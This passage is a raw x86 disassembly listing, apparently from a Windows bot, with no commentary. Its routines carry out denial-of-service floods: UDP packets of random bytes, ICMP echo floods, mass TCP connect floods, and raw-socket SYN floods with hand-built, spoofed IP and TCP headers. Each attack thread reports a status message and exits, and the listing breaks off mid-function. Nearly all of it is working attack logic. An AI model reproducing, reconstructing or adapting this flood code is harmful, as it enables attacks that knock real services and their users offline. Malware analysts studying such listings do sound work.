idiv ecx
mov ds:byte_4E5D45, dl
call sub_41EB70
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov ds:word_4E5D46, di
mov ds:word_4E5D4A, bx
inc edx
mov ds:word_4E5D48, dx
call sub_41EB70
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4E5D4C
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_4E5D30
push [ebp+var_4]
call ds:dword_4E302C ; sendto
cmp eax, 0FFFFFFFFh
jz loc_413AB6
inc [ebp+arg_0]
loc_413A1A: ; CODE XREF: sub_413740+1B7j
call esi ; GetTickCount
sub eax, [ebp+var_8]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe loc_4138FC
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_44CBE8
push eax
call sub_41EA60
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413A99
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409C75
add esp, 14h
loc_413A99: ; CODE XREF: sub_413740+337j
lea eax, [ebp+var_3BC]
push eax
call sub_415A3C
push [ebp+var_38]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413AB6: ; CODE XREF: sub_413740+2D1j
push [ebp+var_4]
call ds:dword_4E3060 ; closesocket
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_44CC38
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41EC30
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413B0E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409C75
add esp, 14h
loc_413B0E: ; CODE XREF: sub_413740+3ACj
lea eax, [ebp+var_3BC]
push eax
call sub_415A3C
push [ebp+var_38]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
sub_413740 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B2B proc near ; DATA XREF: sub_401C87+55ADo
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call ds:dword_4E2F50 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call ds:dword_4E3008 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_413B86
lea eax, [ebp+var_C0]
push eax
call ds:dword_4E304C ; gethostbyname
cmp eax, ebx
jz short loc_413B8C
loc_413B86: ; CODE XREF: sub_413B2B+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413BE9
loc_413B8C: ; CODE XREF: sub_413B2B+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_44CC80
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413BCC
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409C75
add esp, 14h
loc_413BCC: ; CODE XREF: sub_413B2B+7Fj
lea eax, [ebp+var_344]
push eax
call sub_415A3C
push [ebp+var_30]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413BE9: ; CODE XREF: sub_413B2B+5Fj
cmp eax, ebx
jz short loc_413BF9
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413BFC
; ---------------------------------------------------------------------------
loc_413BF9: ; CODE XREF: sub_413B2B+C0j
mov [ebp+var_4], esi
loc_413BFC: ; CODE XREF: sub_413B2B+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41E4B0
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413C1C
mov [ebp+var_3C], eax
loc_413C1C: ; CODE XREF: sub_413B2B+ECj
cmp [ebp+var_38], edi
jge short loc_413C24
mov [ebp+var_38], edi
loc_413C24: ; CODE XREF: sub_413B2B+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_413C51
loc_413C2B: ; CODE XREF: sub_413B2B+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call ds:dword_4E2EE0 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413C2B
loc_413C51: ; CODE XREF: sub_413B2B+FEj
push [ebp+arg_0]
call ds:dword_4E307C ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_44CCA8
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413C9A
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409C75
add esp, 14h
loc_413C9A: ; CODE XREF: sub_413B2B+14Dj
lea eax, [ebp+var_344]
push eax
call sub_415A3C
push [ebp+var_30]
call sub_40B9A7
pop ecx
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_413B2B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CB7 proc near ; DATA XREF: sub_401C87+5803o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call ds:dword_4F537C ; GetTickCount
push eax
call sub_41EB60
pop ecx
push 11h
push 2
push 2
call ds:dword_4E3048 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call ds:dword_4E3008 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_413D9C
lea eax, [ebp+var_B0]
push eax
call ds:dword_4E304C ; gethostbyname
cmp eax, edi
jnz short loc_413D95
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_44CCD4
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_413D78
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409C75
add esp, 14h
loc_413D78: ; CODE XREF: sub_413CB7+9Fj
lea eax, [ebp+var_334]
push eax
call sub_415A3C
push [ebp+var_20]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_413D95: ; CODE XREF: sub_413CB7+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_413D9F
; ---------------------------------------------------------------------------
loc_413D9C: ; CODE XREF: sub_413CB7+6Ej
lea eax, [ebp+arg_0]
loc_413D9F: ; CODE XREF: sub_413CB7+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_413DBA
call sub_41EB70
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_413DBD
; ---------------------------------------------------------------------------
loc_413DBA: ; CODE XREF: sub_413CB7+F0j
push [ebp+var_24]
loc_413DBD: ; CODE XREF: sub_413CB7+101j
call ds:dword_4E2FC8 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_413DCF
mov [ebp+var_24], esi
loc_413DCF: ; CODE XREF: sub_413CB7+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_413DDC
mov [ebp+var_24], eax
loc_413DDC: ; CODE XREF: sub_413CB7+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_413DF0
mov [ebp+var_28], esi
loc_413DF0: ; CODE XREF: sub_413CB7+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_413E69
loc_413DF7: ; CODE XREF: sub_413CB7+158j
call sub_41EB70
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_413DF7
jmp short loc_413E69
; ---------------------------------------------------------------------------
loc_413E13: ; CODE XREF: sub_413CB7+1B5j
dec [ebp+var_30]
push 0Bh
pop esi
loc_413E19: ; CODE XREF: sub_413CB7+192j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call ds:dword_4E302C ; sendto
push [ebp+var_28]
call ds:dword_4F534C ; Sleep
dec esi
jnz short loc_413E19
cmp [ebp+var_24], edi
jnz short loc_413E69
call sub_41EB70
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call ds:dword_4E2FC8 ; htons
mov [ebp+var_E], ax
loc_413E69: ; CODE XREF: sub_413CB7+13Ej
; sub_413CB7+15Aj ...
cmp [ebp+var_30], edi
jg short loc_413E13
dec [ebp+var_30]
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_44CCFC
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_413EB1
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409C75
add esp, 14h
loc_413EB1: ; CODE XREF: sub_413CB7+1D8j
lea eax, [ebp+var_334]
push eax
call sub_415A3C
push [ebp+var_20]
call sub_40B9A7
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
sub_413CB7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413ECE proc near ; DATA XREF: sub_401C87+4E73o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_414024
push eax
lea eax, [ebp+var_414]
push offset dword_44CD28
push eax
call sub_41EA60
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_413F4B
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409C75
add esp, 14h
loc_413F4B: ; CODE XREF: sub_413ECE+5Bj
lea eax, [ebp+var_414]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_413ECE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F6A proc near ; CODE XREF: sub_414024+27p
var_654 = dword ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call ds:dword_4E2FC8 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_414020
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413FB4: ; CODE XREF: sub_413F6A+B2j
xor esi, esi
loc_413FB6: ; CODE XREF: sub_413F6A+77j
push 0
push 1
push 2
call ds:dword_4F553C ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+esi*4+var_654], eax
jz short loc_413FDE
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call ds:dword_4F5514 ; ioctlsocket
loc_413FDE: ; CODE XREF: sub_413F6A+62j
inc esi
cmp esi, edi
jl short loc_413FB6
xor esi, esi
loc_413FE5: ; CODE XREF: sub_413F6A+91j
lea eax, [ebp+var_14]
push 10h
push eax
push [ebp+esi*4+var_654]
call ds:dword_4F5530 ; connect
inc esi
cmp esi, edi
jl short loc_413FE5
push 64h
call ds:dword_4F534C ; Sleep
xor esi, esi
loc_414007: ; CODE XREF: sub_413F6A+ADj
push [ebp+esi*4+var_654]
call ds:dword_4F5538 ; closesocket
inc esi
cmp esi, edi
jl short loc_414007
dec [ebp+arg_4]
jnz short loc_413FB4
pop edi
pop esi
loc_414020: ; CODE XREF: sub_413F6A+3Ej
xor eax, eax
leave
retn
sub_413F6A endp
; =============== S U B R O U T I N E =======================================
sub_414024 proc near ; CODE XREF: sub_413ECE+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AD91
push [esp+10h+arg_4]
mov edi, eax
call sub_41E710
push [esp+14h+arg_8]
mov ebx, eax
call sub_41E710
mov esi, eax
push esi
push ebx
push edi
call sub_413F6A
add esp, 18h
test eax, eax
jnz short loc_414058
inc eax
loc_414058: ; CODE XREF: sub_414024+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414067 proc near ; DATA XREF: sub_401C87+64F5o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_4143B4
push eax
lea eax, [ebp+var_414]
push offset unk_44CD54
push eax
call sub_41EA60
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4140E4
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409C75
add esp, 14h
loc_4140E4: ; CODE XREF: sub_414067+5Bj
lea eax, [ebp+var_414]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_414067 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414103 proc near ; CODE XREF: sub_4143B4+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call ds:dword_4E2F38 ; WSAStartup
test eax, eax
jz short loc_414143
xor eax, eax
jmp loc_414387
; ---------------------------------------------------------------------------
loc_414143: ; CODE XREF: sub_414103+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call ds:dword_4E306C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41437F
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call ds:dword_4E2FA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414375
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call ds:dword_4E2FC8 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call ds:dword_4E2FC8 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call ds:dword_4E2FC8 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call ds:dword_4E2FC8 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call ds:dword_4F540C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_421180
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_41422E: ; CODE XREF: sub_414103+25Dj
; sub_414103+269j
mov [ebp+var_24], bx
call sub_41EB70
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call ds:dword_4E2FC8 ; htons
mov [ebp+var_34], ax
call sub_41EB70
mov edi, eax
shl edi, 10h
call sub_41EB70
or edi, eax
push edi
call ds:dword_4E2FC8 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call ds:dword_4E2FC4 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call ds:dword_4E2FC8 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41FBF0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41FBF0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF06
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41FBF0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41FBF0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41E4B0
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF06
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41FBF0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call ds:dword_4E302C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_41438B
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414372
jl loc_41422E
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_41422E
loc_414372: ; CODE XREF: sub_414103+25Bj
mov ebx, [ebp+arg_8]
loc_414375: ; CODE XREF: sub_414103+78j
; sub_414103+2AFj
push [ebp+var_C]
call ds:dword_4E3060 ; closesocket
pop esi
loc_41437F: ; CODE XREF: sub_414103+5Bj
call ds:dword_4E2F20 ; WSACleanup
mov eax, ebx
loc_414387: ; CODE XREF: sub_414103+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41438B: ; CODE XREF: sub_414103+247j
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_44CD7C
push eax
call sub_41EA60
lea eax, [ebp+var_F4]
push eax
call sub_415A3C
add esp, 10h
jmp short loc_414375
sub_414103 endp
; =============== S U B R O U T I N E =======================================
sub_4143B4 proc near ; CODE XREF: sub_414067+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AD91
push [esp+10h+arg_4]
mov esi, eax
call sub_41E710
push [esp+14h+arg_8]
mov ebx, eax
call sub_41E710
mov edi, eax
call sub_41EB70
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_414103
add esp, 1Ch
test eax, eax
jnz short loc_4143FD
inc eax
loc_4143FD: ; CODE XREF: sub_4143B4+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4143B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41440C proc near ; DATA XREF: sub_401C87+6E5Do
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41E710
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call ds:dword_4E3008 ; inet_addr
push eax
call sub_4144AD
push eax
lea eax, [ebp+var_394]
push offset dword_44CD9C
push eax
call sub_41EA60
xor esi, esi
add esp, 14h
cmp [ebp+var_8], esi
jnz short loc_41448E
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409C75
add esp, 14h
loc_41448E: ; CODE XREF: sub_41440C+60j
lea eax, [ebp+var_394]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_41440C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4144AD proc near ; CODE XREF: sub_41440C+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
xor ecx, ecx
push 6
inc ecx
pop edx
mov ebx, 0FFh
xor eax, eax
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
loc_414542: ; DATA XREF: _2:00454720o
mov edi, 100h
push edi
call sub_420C30
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call ds:dword_4E2FDC ; gethostname
push [ebp+var_4]
call ds:dword_4E304C ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call ds:dword_4E3048 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call ds:dword_4E2FA8 ; setsockopt
mov esi, 200h
push esi
call sub_41BE40
mov edi, ds:dword_4F537C
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call ds:dword_4E2FC8 ; htons
mov [ebp+var_96], ax
jmp loc_414697
; ---------------------------------------------------------------------------
loc_4145CD: ; CODE XREF: sub_4144AD+1FBj
call sub_41EB70
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41EB70
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41EB70
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41EB70
mov [ebp+var_20], ax
call sub_41EB70
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call ds:dword_4E2FC8 ; htons
push esi
mov [ebp+var_1E], ax
call ds:dword_4E2FC8 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41EB70
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
